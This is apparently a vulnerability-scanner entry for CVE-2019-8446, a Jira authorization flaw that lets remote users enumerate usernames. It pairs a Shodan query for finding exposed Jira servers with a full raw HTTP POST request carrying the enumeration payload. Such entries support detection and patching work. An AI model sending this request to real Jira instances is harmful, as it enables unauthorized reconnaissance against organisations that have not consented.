| Title | Jira Improper Authorization |
|---|---|
| Author | dhiyaneshDk |
| Severity | Medium |
| Impact | This vulnerability can lead to unauthorized access, data leakage, and potential compromise of the Jira application. |
| Remediation | Apply the latest security patches and updates provided by Atlassian to fix the vulnerability. |
| CVSS Score | 5.3 |
| EPSS Score | 0.72961 |
| CVE ID | CVE-2019-8446 |
| CWE ID | CWE-863 |
| Shodan Query | http.component:"Atlassian Jira"http.component:"atlassian jira" |
| Tags | cve cve2019 jira atlassian vkev vuln |
The /rest/issueNav/1/issueTable resource in Jira before version 8.3.2 allows remote attackers to enumerate usernames via an incorrect authorisation check.
POST /rest/issueNav/1/issueTable HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Ubuntu; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36
Content-Length: 70
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: Close
X-Atlassian-Token: no-check
{'jql':'project in projectsLeadByUser("38FZYLrx0vjiBCCjFVj7S4ETY82")'}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2019/CVE-2019-8446.yaml
🦈 Packet Capture: ⬇️ Download cve-2019-8446.pcap
N/AN/A